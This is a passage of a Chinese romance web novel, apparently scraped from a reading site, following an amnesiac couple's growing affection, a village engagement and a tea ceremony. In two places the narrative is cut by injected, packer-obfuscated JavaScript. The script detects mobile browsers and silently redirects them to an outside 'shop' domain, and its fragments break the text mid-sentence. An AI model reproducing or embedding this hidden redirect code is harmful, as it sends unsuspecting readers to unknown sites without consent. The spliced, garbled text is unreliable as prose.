江云坐直身子,往房间的各个角落扫视一圈,都没发现书的踪迹。 她困惑:江阔昨天不是把书捡起来放在床头了? 他拿走了? 找寻无果,江云暂时也没法去找,只能看另一本。 …… 晚饭期间,江阔回来,第一时间告诉了江云海鲜事件的结果。 江云点头:“下午江晴已经告诉我了。” “她和江醇的事应该也不用担心了。” 江阔嗯了一声,说萍姐已经不反对江醇过来找江晴了。 江云笑了笑,注意力只在眼前的男人身上,她随口一问:“我还听说这件事多亏了你?” 男人给她夹菜的动作停了停,语气平淡,好似这事根本不值一提。 “我只是提了建议,也没帮什么忙。” 江云凝眸望着他,眼底含笑,“哦”了一声,故意拖出长长的尾音,说:“那这么说,是我想多了。” 她话只说半句,江阔明显听得云里雾里。 想等她继续说,可江云偏偏又闷头吃饭。 酸甜的百香果牛肉在嘴里慢慢咀嚼,江云始终不抬头,完全忽视那道温润的眸光。 半分钟后,男人没忍住,主动问出了口:“什么想多了?” 嘴里的食物终于咽了下去,清爽的酸甜残留在食管,江云状似寻常,不经意道:“没什么,就是我以为,某人为了我哭,所以肯定想费尽心思把坏人找出来。” 男人的动作止住。 空气凝滞一瞬,江阔手里的筷子险些掉落,他又重新拿稳,夹了块肉送进嘴里,没有接话。 江云却没有放过他的意思,她接着道:“不过想想也是,都忘掉以前的事了,现在最多也就是负名义内的责任,至于其他事,肯定也不值得多上心,是吧?” 江阔还是不接话,给她盛了碗汤,动作轻缓,语速缓慢又清晰,每一个字里都裹着熟悉而沉甸甸的柔和:“喝点汤。” 江云没想到他会不接茬。 双眸直愣愣地移向面前的碗,碗里的液体轻轻晃荡,她又不死心地望着江阔。 他像个没事人,只顾给她夹菜。 “江阔,我……”江云仍然不舍得结束这个话题,可不等她说完,江阔便打断了她。 “明天我去请老张过来再给你看看伤口,说不定可以出去活动活动。” 一听能出去,江云的兴奋点又很快转移,如捣蒜般地点着头:“好啊好啊!” 她才应完,江阔便起了身,拿着空荡荡的碗,嘴角弯起一抹意味不明的笑。 “我吃完了,先去给你煮药,等着我回来。” “等……” 江云想拦住他,他脚下却跟长了风火轮似的,几秒钟就消失在了房门口。 “……” 不回答就不回答,跑这么快做什么? 无奈,江云只好先吃饭。 喝药时,她一心扑在他身上,几乎快忽略掉了药的浓苦,吃蜜饯的频率也远远不及此前。 江阔整个过程都避开她的视线,目光只游走在蜜饯罐子和碗里的药中。 最后一口深褐色的药液下肚,江云吃了最后一块蜜饯。 江阔把碗放在一边,捞过她手里的罐子,眼瞳终于舍得落定在她身上。 江云的动作却蓦然僵住—— 他的眼神变了。 不再是一味的温柔,莫名多了点她不熟悉的侵略性。 蜜饯在齿间忘了咀嚼,江云下意识往后缩了缩。然而下一秒,他瞬然往前,两只宽大的手掌用最熟悉的方式托稳她的下巴,嘴唇毫不犹豫地凑过来。 “唔……” 江云更没料到他会突然吻过来,瞳孔惊然缩紧,眼睑呆呆地撑开,全然忘了眨动。呼吸也在他凑近的那一刻停滞,等身体反应过来重新吸进空气时,整个呼吸道已经全部是他的味道。 他的吻和上次很像,力道温和,带着微热的气息,逐渐点燃她唇上的火星子,不紧不慢地牵动体内沉寂的电流。 可江云觉得也不完全一样。 他不仅仅只是吻她。 他在咬她。 不算太尖锐的硬齿在她的唇肉上轻轻咬合,她有些痛,却又是刚好能够忍受的程度。 等他咬够了,又稍微强硬地往她的领地入侵,在她的口腔里扫刮存留的所有蜜甜,甚至直接夺走了那块蜜饯。 江云的脸骤然一红,浓烈的羞耻感瞬间攀升,她快要遭不住,想推开江阔,男人却反手扣紧她的后颈,另一只手直接绕过背后,狠狠钳制她的双臂,让她没了动弹的余地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958113|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无用的挣扎最后只持续了十秒钟。 江云挣不开,索性迎面而上,直接同他对峙。 双臂从他的胸膛上移,最后攀住他的肩颈,下意识用起他的招式,试图把主动权引到自己手里。 然而她忘了,她的主动在江阔看来,是最好的兴奋剂。 她探入他占地的那一刻,他几乎是瞬间将她缠绕、吮紧,不剩一丝缝隙。 “唔……” 等江云终于意识到时,已经晚了。 她进无可进,也退无可退。 蓦地,背后一松,身体隐隐有失重的趋势。 江云本能地抓住面前的男人,却恰好称了他的意。 下一秒,人已经跨坐在他的腿上。 江阔缠得更紧,唇齿间的热流融入了滚烫的晚风,肆意地涌进呼吸道,又蔓延至身体各处。 江云和他博弈的意识越来越弱,最后已经完全被他带入缱绻的情潮。强撑的眼皮沉重不堪,她索性闭起眼,开始享受起来。 蜜饯的甜意不知道什么时候被汲取完了。 江云的呼吸一沉一轻、一紧一松、一促一缓,错乱无章,节律全失。 渐渐的,她开始贪恋地吸着他的味道,迷乱地往身体里注入只有他能带来的安全感。 身体越来越热。 江阔的身体更热,浑像支在燃气灶上锅里冒泡的百香果酸汤,颜色微红,尝进嘴里却又酸又甜。 江云不知道过了多久,只听到耳边一刻未曾停歇的海浪,身体无数次融进缠绵的热浪,她的面部肌肉已经到了疲累的界限。 唇舌都有些麻麻的。 这个持续太久的吻终于结束。 江云感觉浑身的肌肉都微微软了力,艰难地睁开眼,混沌地对上那双深褐色眸子。 他们谁都没有力气立刻说话。 粗重紊乱的呼吸声此起彼伏,暧昧的气氛不消反涨。 这个角度,江云需要俯视看他,可视线总是不自觉往他的唇上移。 薄唇上残留着些许水光,微微张开,还有些红肿。 她险些生出再吻上去的冲动。 好在他及时出声,阻断了她意乱情迷的思绪。 “最多也就是负名义内的责任,嗯?其他的事不上心?”和寻常的言语不同,潋和之余多了一丝不易察觉的怒意,颇有几分质问的味道。 尚在情潮中没有缓神的江云不明所以,喉间溢出一声懵懂的“嗯”。 江阔仰着头,迅速缩短两人之间的距离,他压住气息的紊乱,带了几分严肃的认真:“江云,你觉得我就只是这样?” 他第一次连名带姓地叫她。 思绪有片刻的停顿,江云奋力推散了身体里的情雾,给了大脑思考的余地。 那双眼眸在她的眼底越来越清晰。 江云后知后觉,好像明白了他突然吻她的缘由。 “这些天,我没有哪一刻心底不在想着你。”男人的声音继续。 江云霎时怔住。 “惦记着你的伤,所以想做些营养价值高的、好吃的饭菜给你,知道你待在房间里闷,所以想带你出去转转,明白你晚上睡不着,所以很乐意陪你聊天,理解你暂时失去了记忆缺乏安全感,所以你想要的我都会尽量满足。” “结果在你这里,我只是单纯的一句负名义内的责任,一句不上心。” 他的语气到最后越来越凛冽,仿佛无形中有一个容器将他的温柔尽数包裹,只留下略显沉重的严肃。 江云不知道自己一句无心的玩笑会直接开到了他的心底。 眼底的混沌被他的认真和一丝神伤刺破,辗转在情潮中的余韵也被晚风吹走。 江云的喉咙微微发紧,口腔中残留的甜意缓缓变涩,她下意识吞喉,声音略哑:“可你总是不说,你不说,我又怎么会知道?” “云云。”他靠得更近,嘴唇轻轻一动,唤出她的名字。 潋和的温柔重新浸入深褐色的眸中,在瞳孔里染出了几分柔雾,他说:“因为这些只是我作为一个合格的丈夫,甚至只是一个合格的情人应该做的,我说了,我对你有责任,可我做这一切不只是为了负责任。” 江云抿了抿唇,直接顺着他的话问了下去:“那你是为了什么?” “因为我在意你。” 18. 17 一句再简单不过的话,却犹如千斤重的巨石狠狠砸向江云心口。心脏猛烈地缩动一下,随后便凶猛地撞向四周,次次都落在那堵因他而生的‘安全墙’上,逐渐软了力。 江阔仰着头,原本严肃的外壳已经完全消失,毫无保留地露出他全部的温柔。 他眼底的柔雾更浓。 江云抓着他肩口的衣角迟迟不松,手掌反而越收越紧。眼皮突然有些沉重,她强撑着注视男人,让自己尽量维持着清醒。 可他眼底的雾快要弥漫至她的心口。 双眸黏黏糊糊地眨动,她快要陷进他的瞳底。 “云云,我接受你对我的任何评价,除了在我对你的心意这件事上,因为我很在意你,而且目前,我只对你上心,以后应该也会一直对你上心。” 他清冽的嗓音继续,混杂着少许缠绵过后的低哑,和她每天晚上入睡前听的尤克里里很像。 江云的眼皮更沉,她快要挡不住他的温柔攻势。 她原本只是想让他承认他是为了她去做那些事,想让他及时表达,可他总是这样。 不鸣则已,一鸣惊人。 江云抿了抿唇,隔着衣服轻轻捻了捻他的皮肉,气息好不容易恢复平稳,她又迅速瞟了眼他的唇,道:“我只是想让你说出来。” 她的喉咙又干又涩,声音被迫压得很低,没什么气势,却足以让江阔听进去。 他又凑上前,在她的唇上轻啄一口,指腹在江云的眉头滑过,顺着往下,最后停在她的眼尾:“我能为你做到的力所能及的事,是不需要拿出来说的,云云,你只需要知道,我是乐意的,就够了。” 眼尾的温度穿透皮肉,细微却又不可忽视的电流从眼睑窜过,江云感觉尾椎隐隐发麻,浑身的肌肉也跟着战栗。 她的本能防备在他面前彻底失去了作用,她完全沉陷在他的眼眸中了。 江云仿佛瞬间掉进了清润的琥珀海中,全身顷刻被里面藏着的温柔浸润,彻底激发了她尾椎的酥麻,直至牵动全身的神经跟着兴奋。 细细密密的电流在身体各处窜行,触发了她所有的身体本能。江云的身子轻轻发颤,心脏不再无章法,而是顺着节律加速跳动。 她好像已经能感受到,她对这个男人的感情。 心口逐渐发软,她稍稍急迫,想再感受得清楚些。可没等情愫绵延,她已经被迫从琥珀海里抽身。 江阔补充道:“如果你觉得不够,我们也可以换一种方式,比如一个蜜饯的条件再加一项。” 江云的嘴角骤凝,她不明所以:“什么?” 一个蜜饯一个吻她都觉得快超标了,还能加什么? 江阔的眼神清清楚楚地在她的眸光里变化。 江云气息倏然停顿,觉得这副模样很熟悉。 下一秒,江阔再一次刷新了她的认知底线:“一个蜜饯,一个吻,再加一次。” “……” 他一点煽情的余地都没给她留。 江云才对他产生的所谓的意乱情迷在此刻完全抓不到一点痕迹。 沉陷进去的目光也在顷刻抽离。 她极力压制发烫的脸颊,不顾疼痛,只想快些从他腿上下来,人却被他死死缠住。 “你这是耍赖!”江云挣脱不开,两只手便去拧他肩头的肉,偏偏他忍耐力也强,她手指都快掐疼,他却只是皱了皱眉。 江云觉得自己完全就是掘地自焚。 他付出型人格就让他付出好了,她不喜欢憋在心里大不了就忍一下,这下倒好,给自己坑完了。 偏偏挖坑的人还一点不害臊,腆着脸道:“我哪有?你放心,我很明智的,吻可以当下开始结算,其他的等我们伤好回城之后。” “……那我是不是还得表扬你真贴心?”江云几乎咬着牙开口。 她发誓,以后绝对不会再轻易招惹他了! 这人完全就是给一点阳光就灿烂,明明刚醒来那会还是分寸感那么强的一个人,现在他已经完全忘记那三个字怎么写了! 江阔又收紧了手臂,江云几乎快贴在他身上,两条腿下意识勾上了他的小腿,却蓦然显得更加暧昧怪异。 他笑道:“表扬就不用了,毕竟……” 他故意拖长话音,眼底的邪气侵占了满眸的温柔,给原有的纯粹披上了一层不羁的情潮。 江云狠狠一僵—— 这个眼神很陌生,却又好熟悉。 这段日子她头一回见到他这种眼神。 她还以为古板的人都会循规蹈矩,她没想到他会有这样一面: 从他的眸子里迸出了一种洒脱的光芒,掺杂着他的柔情,又不受任何约束,仿佛随时都能轻易地跳脱任何框架,自由无拘。 心口莫名抽了一下。 她很喜欢这种感觉。 确切地说,她很向往这种感觉。 所以这也是她看中他的原因之一吗? 可惜江云没有很多时间思考。 江阔的后半句话已经出口:“爱不是说出来的。” “而是做出来的。” “……你信不信我原地跟你离婚?”江云实在没忍住,给了他一小巴掌。 可她还是把他想得太简单。 他眼底的邪气瞬间消失,又爬上了另一种柔和,不是温柔的柔,是‘柔弱’的柔。 江阔委屈巴巴道:“刚才还说想知道我都做了哪些事,现在就翻脸不认人了,没事,我委屈就委屈呗,婚姻嘛,总是要有一个人受点委屈的,没事,我真没事。” 话虽这么说,他手上禁锢她的力量一点没小。 “……” 江云真的很想赶快恢复记忆,想知道自己到底从哪找了这么一个极品老公。 他不松手,她逃不掉,两相僵持,江云泄愤般紧捏他的耳垂,字句完全是从齿缝里挤出来:“江阔,你不仅仅是心眼子多,你还是个死绿茶!” 然而男人真的像他说的那样,丝毫不在意她对他除了感情以外的任何评价,甚至仍保持着享受的神色。 他摇头说:“是什么不重要,只要是你老公就行,其他的名头,你想怎么安就怎么安。” “……” 江云没招了。 他又往前,将两人之间的距离拉到只剩半个拳头。 江云后缩下巴,眸光警惕:“你干嘛?” “今天的奖励吻你还没给我。”男人明晃晃地盯着她的唇:“加上今天你吃的8个蜜饯,还欠我21个吻。” 江云诧异:“你刚刚不是才亲了?” “那是你污蔑我的惩罚吻,那不算。” “你……” 江云驳斥的话没来得及出口便已经被他吞入腹中。她想反抗的情绪也在双唇交叠的那一瞬间消失殆尽。 不过两秒,她就又被卷入熟悉的情潮里,江阔的气息混入鼻间的那一刻,她又开始本能地汲取他的味道。 浓烈的多巴胺极速分泌,江云最后没把持住,主动抱紧了他。 算了,反正她也挺喜欢,亲就亲吧。 …… 暧昧的气氛终于在夜深人静时消散。 江云像往常那样靠在江阔怀里,突然想起来书的事。 “你把《无声告白》拿走了吗 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“想我了吗?”怀里的毛茸茸兴奋打滚,她的声音也忍不住往上扬。 白白哼唧两声,又往她胸口蹭了蹭,粉嫩的舌头呆愣愣地舔了舔鼻尖。 江云眉眼弯起,脸上的笑意明显,从江阔放下的篮子里拿了块水煮菜,送到白白嘴边。 它也十分给面子,小巧的嘴一口咬住脆嫩的菜叶,三两口吃完,然后又拱了拱她的手掌。 “真的好可爱。”江云揉着它毛茸茸的脑袋道。 这种有灵性的小动物恰好能引起她的兴趣,还能填补失忆给她带来的空虚。 江阔接着给白白喂食:“到时候离开,我想把它也带走。” 江云猝然转头,带着喜色的眸中含着几分诧异:“真的?” 江阔嗯了一声,说他们离开了它在这没人照顾怪可怜的,他也不忍心看到自己养过一阵的小狗被饿死在这里。 “那我们家里应该会很热闹了,有那两棵树,还有白白,到时候再带点洱南的特色离开。”江云下意识畅想。 话音刚落,身旁男人的神色明显一喜,深褐色中央的稍微发黑的瞳孔紧缩,迅速往外漾开欣喜的光。 他稍稍不可置信,嘴角又没忍住往上牵拉,倏然迸开一声畅快的笑:“你还记得?” “记得什么?”江云没反应过来。 “两棵树。” 江云在脑海中过了一圈,心想他说种树这事也没过多久,不自觉反驳:“我是失忆,又不是痴呆,当然记得。” 男人笑得更肆意,浑然不掩饰。 江云还是没懂他在笑什么:“有那么好笑?” 他又摇头,继续喂白白,嘴边的笑意不减。 江云觉得他莫名其妙,没再继续纠结这个问题。 她又重新畅想。 距离回家的日子应该越来越近了,等她的伤口结痂,就和江阔一起走。 离开…… 她还真有些舍不得。 她侧眸,视线停在男人身上。 他还在给白白喂食。 至少这段日子的美好是真的。 她也不知道以后会不会再有这样的时光。 江云的手不知道什么时候挪到了颈前,缓缓握紧那支竹音哨。 “江阔。”她突然开口。 男人把手里的水喂给白白,应了一声。 “我们要不要再做一个定情信物?” 19. 18 江阔略显诧异回头,又觉得也可以再做一个。 江云点头。 她是觉得这个竹音哨是他们醒来就在身边的,他们都不知道这个竹音哨从何而来、为何而来。 索性就趁着有记忆,再做一个独一无二的、只属于他们在江渔村这段时光的信物。 等离开这里,信物既代表他们定情的时刻,也装满了他们这一段特殊的回忆。 “我们不记得装着过往回忆的竹音哨,那干脆就弄一个能承载新生的物件。” 江云朝他弯了弯唇,勾出一抹浅笑。 “你觉得呢?” 江阔没有犹豫,很快应好:“那你想做什么?” 江云这个想法都是突如其来,至于做什么,她还真没想好。 江渔村也没有做手工的铺子,也没有红绳、戒指那些。 最出名的就只有海鲜,他们总不能抱两箱海鲜回去当定情信物? 那食物中毒事件恐怕就要再次上演了。 “没想好,还没什么头绪。”江云摇了摇头。 她有些泄了气,坐得腰也累,一个侧身自然而然地靠在江阔肩上。 白白填饱了肚子便开始犯困,趴在两人脚边晒太阳。 江云转头,目光移向正悠闲翻涌的海浪。 水波淌过沙砾,晕出的湿痕被热阳晒烤,不过没等干透,海浪再次翻过,循环往复、无休无止。 海风卷入了沙砾沁出的热浪,海咸味不再那么刺鼻,温和地扑近。 熟悉的潮湿混入鼻腔时,江云倏然坐直了身子。 灵感猛地窜上头,她挽住江阔的胳膊,语气略显兴奋:“我们可以装一捧沙,再灌一点海水,就用那种小一点的玻璃瓶,怎么样?” 海鲜没办法保存那么久,但沙砾和海水可以。 带走这里本土的一小部分,也算是一种纪念。 况且他们当初也是在这里被发现,这片海域又见证了他们的这段时光。 “这个想法倒是不错。”江阔也很赞同她的想法:“带走一点这里的东西也挺浪漫的,等会回家问问萍姐有没有小玻璃瓶。” …… 江云和江阔刚回家,就听萍姐说了喜讯—— 江晴打算跟江醇订婚。 “这么快?”江云稍稍诧异。 “是啊!”萍姐和江云是一样的想法,可话语中又透着无限的宠溺:“不过前段时间晴晴也伤够了心,反正他们俩真心喜欢,早点定下来也好,也省得让别人说了闲话去。” 江云点了点头,同江阔对视一眼:“那还真得说声恭喜您了,萍姐。” 萍姐笑得毫不掩饰,说也正好趁她和江阔还在这里,想请他们给做个伴郎伴娘。 “伴郎伴娘?” 江云不知道订婚也需要伴郎伴娘。 萍姐说这是他们这里的习俗,订婚虽然不是结婚,但排面还是一样不能少。 “咱们这里有专门的订婚服装,反正也是讨个彩头嘛,到时候还有篝火晚会,大家围在一起多欢乐呀!怎么样,你们愿意吗?” 萍姐话音刚落,江晴就进了大门。 她箭步往前一冲,跳到江云身边,搂过她的肩:“江云,你和江阔就来吧!我和江醇也想从你们这里讨个吉利,以后和你们一样恩爱!” 江云本来也没有拒绝的意思。 她又瞟了眼江阔。 男人轻轻点了点头。 江云应好:“那你到时候跟我们俩说说都需要做些什么,伴郎伴娘什么的…规矩我们也不太懂。” “没问题!” …… 淮北市,傅宅。 低调宽敞的一楼客厅内,空气仿佛被真空机抽走大半,稀薄不堪。 傅淮湛谨慎地瞥了一眼坐在主位的老爷子,又瞧了瞧身旁正在抹眼泪的父亲母亲,轻轻叹了口气。 “找了这么久,居然还是一点消息都没有?!”老爷子眉头紧锁,眼底横着几根红血丝,语气微怒。 傅淮湛坐直了身子,双肩几不可察地颤了颤。 他回答:“珺珺的手机一直处在关机状态,最后出现的洱南市临云高速我也让人找过了,没有消息。” “废物!”傅淮湛的话音刚落,一声严肃的怒骂已经吼出声。 他不做声,眸色稍微凛了凛。 “集团你管不好就算了,现在连你妹妹你都找不回来!” “爸,这也不是淮淮的错。”一旁的傅臣北边安慰怀里的妻子,边开口帮儿子解围。 傅老爷子充耳不闻,又冷哼,狠睨一眼傅淮湛。 视线几番凌迟过后,他厉声开口:“我再给你七天,如果还没有珺珺的消息,往后做什么事,你都必须得听我的安排!” 傅淮湛神色骤然一凝,搁在腿上的双拳也慢慢绷紧。 片刻的沉默之后,才突然松开,他轻轻点头,语气平淡:“我知道了。” …… 夜雾渐浓。 江阔进了屋,手里还拿着两个小玻璃瓶。 “还真有啊?”江云以为会找不到。 江阔说,萍姐以前喜欢去海滩收集一年四季的沙砾,又喜欢捡贝壳,后来年纪大了就没那个兴致了,玻璃瓶倒是被她都留了下来。 透明的玻璃瓶被坚实的木塞堵住,萍姐还给他们拿了两个瓶套,顶上有两条细绳,说是方便系在钥匙扣或者车视镜上,还能当个装饰品。 “这样也挺好。” 江云接过其中一个,反复观摩,“那我们明天去装。” “后天吧?”江阔用着商量的语气开口。 江云不解:“明天有事?” 江阔点头,说他打算明天去镇上。 “明天就去吗?”江云没想到他都已经计划好了。 江阔其实也想晚几天出去,只是突然赶上江晴订婚,他们怎么说也是在萍姐这里借住了好一阵的人,也应该送点东西才是。 而且他们伤也在恢复期了,索性趁着这次一起,一来是去给江晴买订婚礼物,二来是去打探他们自己的消息。 “那我们哪儿来的钱?”江云问出了最重要的问题。 江阔也提前想好了。 他从柜子里拿出他自己的那套西装,把袖扣取了下来。 “我打算把这对袖扣卖掉。” 江云看过去,她认识那牌子。 BVLGARIBVLGARI系列的18K玫瑰金袖扣,圆形的双圈围住了醒目的logo,中心镶嵌了19颗小钻石,市场价应该值个三万多。 不管从外形还是价值看,都是件好东西。 “可镇上不一定有奢侈品店吧?”江云提醒道。 毕竟再好的东西如果去不到正确的地方,价值也是不会被看见的。 “我问了萍姐,她说镇上有一家收二手珠宝的店,如果运气好的话,没准能卖个一万块,差一点的话应该也有个五六千。” 江阔打算还是先问萍姐借一点钱,以防这袖扣真卖不出去。 “顺便去镇上问问手机能不能修好,手机修好了那一切都好办了。” 他都安排好了,江云自然没意见。 临睡前,江阔给江云弹的曲是天空之城。 除了第一次弹曲,他就再没弹过。 他们依旧对立而坐。 窗户半掩,江阔依然坐在月光下。 江云一时恍惚。 上次听到,她还对他心存防备。 而现在…… 江云悄然勾唇,牵出一抹很浅的弧度。 眼神从他的发丝,游移到他低垂的眸上,再到那颗黑色耳钉,又移回来。 反反复复。 这颗黑色耳钉看上去好像也没那么闷骚了。 和他还挺配。 沾了许多他的温柔。 苹果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958115|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌不自觉抬高,江云也没克制,眉眼弯成了一条缝。 “看入迷了吗?那要亲一下吗?” 江云正沉浸在飘逸的愉悦中,瞬间被这句话击破了将她垫高的云层。 瞬间从长空跌落。 她差点被自己的口水呛死。 江云捂着胸口,斜了一眼放下尤克里里给她递水的男人:“你能不能别老想着亲?” “我没想,我是体谅你,只看脸多没意思,切身感受一下才够劲嘛。”浑然一副为她着想的模样。 “……” 她错了。 没那么闷骚是她的错觉。 再看向黑色耳钉。 江云笃定:他超级无敌闷骚。 “亲吗?”男人笑着问。 “你刚刚不是亲了?”江云闷了一大口水,又狠狠剜他。 他却丝毫不臊,泰然摊手道:“一天又不是只能亲一次。” “……” 江云明显犹豫。 她的犹豫在江阔那里,就是默许。 只两秒钟,男人便自觉凑上来,直接扣住她的后颈,又吻了上来。 江云确实没想过拒绝。 在他的唇贴上来的那一刻,她也熟练地闭上双眸。 没一会,她已经开始迎合了。 因为江阔又玩起了‘以退为进’那一套。 不得不说,江云实在太受用。 她也喜欢这招。 两个人间歇撩拨,不知不觉便沉陷进去了。 又一个绵长的法式热吻结束后,江云实在软了力,直接往身后倒过去,气喘吁吁。 她和江阔每次接吻完都跟跑了一千米似的,绝对能减肥。 她还不忘提醒江阔:“记得给我销账,还剩42个吻。” 江云忍不住叹气,她真是越欠越多了。 没办法,她喝药就得吃蜜饯。 “43个,这个不算的。”江阔的气息也很不稳。 “又不算?!”闻言,江云猛地从床上撑起手臂,诧异质问。 而他依旧坦然:“这是你想亲我,我满足你的吻,蜜饯吻是另外一回事。” “你!” 江云愤愤把食指朝他砍过去,却又语塞。 她是真不知道用什么词骂他了。 用什么词都不足以骂中他。 为了给自己的‘闷骚’找合理的借口,他甚至美其名曰:“那只是我想尝尝蜜饯甜不甜,方便随时改进,顺便再收一点点微小的利息,真的是纯良心价,只有你才能享受这份优惠的。” 男人低笑了声,好整以暇地弯眼注视她。 江云最后只憋出了句:“无赖的奸商!” 毫无攻击力的五个字,不仅算不上骂,他反而觉得是在调/情。 江阔伸手把人捞进怀里,继续‘无赖’:“我不是奸商,我是你老公,不管是现在还是未来,都只是你老公,而且只给你亲。” 江云反力挣扎了几下,耳朵隐隐泛红,最后也没挣脱开他,只能躲避他的眼神:“谁稀罕……” 嘴上继续嘴硬,愈发红润的耳根和脸颊已经合力出卖她。 江阔越贴越近:“当然是江云稀罕、我老婆稀罕!” 江云‘嘁’了一声,却忍不住发笑。 江阔又继续:“你也说一句。” “说什么?”江云不懂。 “说你是我老婆,不管是现在还是未来,都只是我老婆。”江阔垂下眸,直勾勾地投过来视线,眸底闪着期待。 江云觉得太肉麻,拒绝了。 江阔几番恳求,江云还是不松口。 江阔最后没勉强,却又藏不住失落。 昏暗中的失落情绪过于明显,短暂的犹豫过后,江云还是心软。 她摸了摸微微发热的脸,说:“好啦,你永远都是我老公,我永远都是你老婆。” “满意了?” 20. 19 男人紧抿着唇,可嘴角却压制不住地往上扯,几乎要咧到耳根。 不稍片刻,他的肩膀也开始小幅度耸动,鼻息愈发粗重,鼻腔里挤出一声接着一声的气音。 江云的脸颊火辣辣的发烫,嘴唇抿紧,心跳被他的气音牵动着跳得越来越快。 蓦地,男人的胸口狠狠一震,他实在是没忍住,畅快的笑意瞬间从喉间溢出,带着悠长的尾调。 江云别过头去,捏拳在他胸口捶了两下,声音稍微发颤:“你笑得太夸张了!” 男人把她抱得更紧。 笑意的酣甜穿透耳膜,他鼻息的热气也混入她的皮肉,直抵心脏。 他的唇贴在她的额前,语速缓慢:“不夸张,是因为太开心。” 江云轻嗤一声,到底没有再反驳。 他又开口:“云云,说出口的话,你就必须得做到,不能骗我。” 江云觉得他想得太多。 一般类似于誓言的话出口,不仅是承诺,也是一个标杆,真正想做到其实不难。 而且目前她觉得他作为一个老公或者是情人都很合格。 这辈子就只有他一个老公,她还是能接受的。 除非他们有什么深仇大恨,又或者她哪一天完全不爱他了。 可转念一想,就江阔这样她总是猜不到他下一步要说什么的人,新鲜感她应该一直会有。 有新鲜感,应该也不会完全不爱他。 江云没有太当回事:“我肯定能做到,你应该想想你自己能不能做到。” “当然能!”江阔没有半刻犹豫,用着一贯肯定的语气:“我只要你当我老婆!” 江云扬起下巴点头,完全哄着他的语气:“好好好,只要我。” 江云再次笃定:她不会对他失了新鲜感。 这样略显幼稚又确实专一的表现,让她觉得好笑,却又真的甜到了心底。 他是很像二愣子,却也是个温柔又负责任的二愣子。 …… 隔天江阔吃完午饭之后就出去了。 江云则是被江晴拉到了江醇的工作室去玩。 江醇的工作室主要是做江渔村留存下来的非遗三道茶。 这几年政府本来就在呼吁年轻人返乡创业,有一定的资金支持,旅游业兴起,加上他也想回来帮助发展家乡,现在更因为江晴在这里。 “三道茶?我好像还没听说过。”江云被江晴拉到一旁的桌前坐下,对她口中的这个名词还很陌生。 话音刚落,江醇端着围炉和茶料过来。 “这是咱们这边的特色之一,确实少见,你试试。” 江云看着九宫格里摆满的茶料,点了点头。 江醇边做,江晴边解释。 “第一道是苦茶,用的都是咱们这村民种的绿茶,在砂罐里头干焙一会,等茶叶焦黄再泡开,茶汤的颜色就非常漂亮了,而且很香。” 一小撮绿茶进了罐,雾气瞬时上窜,裹着浓浓的焦香。 江云惊喜点头:“确实很香,茶味很浓。” 滚烫的开水倒入,最后淌进青花瓷茶杯里的液体透亮如琥珀,热气一沸腾,茶香更浓。 “你尝尝。” 江晴示意她喝。 江云端着茶杯近嘴边,轻轻吹了吹,澄黄的茶汤入喉。 “确实有点苦。” 江云一向不喜苦涩,眉头稍微紧了紧。 江晴笑道:“别急,咱们等第二道。” 江云咽了咽口水,又继续看着江醇煮茶。 和第一道一样的工序,不过他又开始往里加了红糖、桂皮,甚至还有他们这里特色的乳扇。 “茶里还能加这些东西吗?”江云应该没见过。 江晴点头,说她可以期待一下。 听了她的话,等江云再喝的时候,眼眸微微一瞪,眸底闪着光。 她的语气惊喜:“很甜,很好喝!” “是吧,还有第三道。” 江晴示意江醇继续。 还是以第一道茶的工序为基础,只是加入的茶料变了:少量醇甜的蜂蜜、一小碗炒米花、几粒花椒,再有几颗核桃仁。 比第二道还要稀奇。 江云还没喝过加花椒的茶。 第三道只装了茶杯的六七分满,江云不知道这是什么滋味,先抿了一小口。 她的反应比刚才更精彩。 稍许惊讶之后,她又蹙了蹙眉,鼻头稍微缩紧,又咳了两声。 很丰富的味道。 又甜又酸又苦又辣。 “好神奇的味道,口感很丰富。”江云评价。 她又问:“这茶是有什么说法吗?” 江晴说,这茶之所以叫三道茶,不仅是它有三次烤煮,最重要的是它的三次不同的味道。 第一道味清苦、第二道味甘甜、第三道酸甜苦辣各味俱全。 往大了说,是寓意着人生的个中滋味,带着哲理的色彩。 往小了说,就是能品上滋味新奇的茶水。 江醇是想把家乡的特色传扬出去,他大学又是学的电子商务,自己也喜欢拍视频记录,在多个社交平台上都运营有账号。 “把家乡的东西传出去,增加销路,也算是为这里尽了些微薄之力吧。”江醇说。 江云点了点头。 江晴又说:“而且这个茶也有祝愿美好的意思,江云,我今天带你过来也是想把祝愿带给你,希望你和江阔能够早日恢复健康,也能快些恢复记忆!” 江云笑着应谢,再品茶的时候,苦辣已经没那么明显,微微的酸衬得甜意浓烈而不齁。 她弯眼看了看江晴,又瞄了眼江醇。 那碗茶最后全部进了肚。 外头耀眼的金光照进来,洒在身上热热的。 墙上的时针走了两格,江云只希望它再走快些。等江阔回来,她一定也要让他尝尝这茶。 …… 江云一整个下午都在江醇的工作室,和他们品茶、聊天、听歌。 好不惬意。 后来江醇还把他的一个朋友叫了过来。 是个年纪不大的男人,黑色的破衫短袖领口微斜,露出清晰的锁骨线条,下身水蓝色的破洞牛仔裤腰挂着醒目的链条,浑身上下都散发着一股‘潮流’味。 据说是个职业音乐人。 “江云,他叫陈江,我同学,也是跟我一起回来发展的,算是我的合伙人。这位是江云。”江醇介绍。 江云礼貌点头:“你好。” 